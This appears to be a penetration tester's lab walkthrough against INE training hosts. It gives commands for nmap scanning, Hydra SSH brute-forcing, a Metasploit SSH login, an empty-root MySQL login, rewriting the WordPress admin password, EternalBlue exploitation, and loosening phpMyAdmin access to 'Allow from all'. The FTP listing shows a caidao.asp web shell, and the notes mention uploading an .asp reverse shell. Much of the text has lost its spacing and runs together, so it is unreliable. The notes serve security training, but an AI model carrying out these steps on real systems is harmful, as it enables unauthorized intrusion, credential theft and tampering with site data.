Obtain the target IP address from the /etc/hosts file
cat/etc/hosts10.2.29.246demo.ine.localping10.2.29.246pingdemo.ine.localcdDesktopmkdirWin2k8cdWiWin2k8/# To store all the notes and files about the target
Perform an advanced nmap scan and export it into an xml file
nmap-T4-PA-sC-sV-p1-1000010.2.29.246-oXnmap_10k# -T4 = Aggressive speed scan# -PA = TCP ACK discovery# -sC = default NSE scripts# -sV = service version detection# -p 1-10000 = ports range# -oX = XML output file# A full port range scan can be also done, not necessary here# nmap -T4 -PA -sC -sV -p- 10.2.29.246 -oX nmap_all
ls229EnteringExtendedPassiveMode (|||49567|)125Dataconnectionalreadyopen; Transferstarting.10-28-2107:22AM<DIR>aspnet_client10-28-2107:19AM28caidao.asp10-28-2107:18AM34251hahaha.jpg10-28-2107:18AM1116928index.html10-28-2107:18AM2439511seven_of_hearts.html10-28-2107:18AM384916six_of_diamonds.zip10-28-2107:22AM184946welcome.png# Web server home directory
IIS can execute .asp files
Generate an .asp reverse shell payload and upload it with FTP
searchsploitOpenSSH7.1# Use username enumeration if needed
Brute-force SSH
hydra-lvagrant-P/usr/share/wordlists/metasploit/unix_users.txt10.2.16.83sshhydra-ladministrator/usr/share/wordlists/metasploit/unix_users.txt10.2.16.83ssh# No valid password for SSH - administrator
sshvagrant@10.2.16.83# vagrant:vagrant# WORKS!sshadministrator@10.2.16.83# administrator:vagrant# DOES NOT work!netlocalgroupadministrators# "vagrant" is in the Administrators Group
Obtain a Meterpreter session
msfconsole
useauxiliary/scanner/ssh/ssh_loginsetgRHOST10.2.16.83setgRHOSTS10.2.16.83setUSERNAMEvagrantsetPASSWORDvagrantrunsession1# CTRL+Z to backgroundsessions-u1 [-] TargetisrunningWindowsonanunsupportedarchitecturesuchasWindowsARM!# The manual msfvenom payload upload can be tried
[+] 10.2.26.45:3306 - 10.2.26.45:3306 - Found remote MySQL version 5.5.20
[!] 10.2.26.45:3306 - No active DB -- Credential data will not be saved!
[+] 10.2.26.45:3306 - 10.2.26.45:3306 - Success: 'root:'
📌 root password is empty
mysql -u root -p -h 10.2.26.45
show databases;
use wordpress;
show tables;
select * from wp_users;
Change admin WordPress user's password
❗ DO NOT Change passwords in a real pentest
UPDATE wp_users SET user_pass = MD5('password123') WHERE user_login = 'admin';
Access via browser
http://10.2.26.45:8585/wordpress/wp-admin
Try to gain access to phpMyAdmin using MSF
Access the target through SMB and modify phpMyAdmin configuration file
# Open the MSF tab
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.2.26.45
run
sysinfo
Move into the wamp folder
cd /
cd wamp
dir
cd www\\wordpress
cat wp-config.php
Change WordPress admin password
cd C:\\wamp\\alias
download phpmyadmin.conf
# In another terminal modify the file
vim /root/Desktop/phpmyadmin.conf
# modify it by deleting the lines under "AllowOverride all" and insert
Allow from all
# Write and close
# In the MSFconsole
upload phpmyadmin.conf
# Apache service must be restarted
shell
net stop wampapache
net start wampapache
Access phpMyAdmin
http://10.2.26.45:8585/phpmyadmin/
it automatically logs in since the root password is null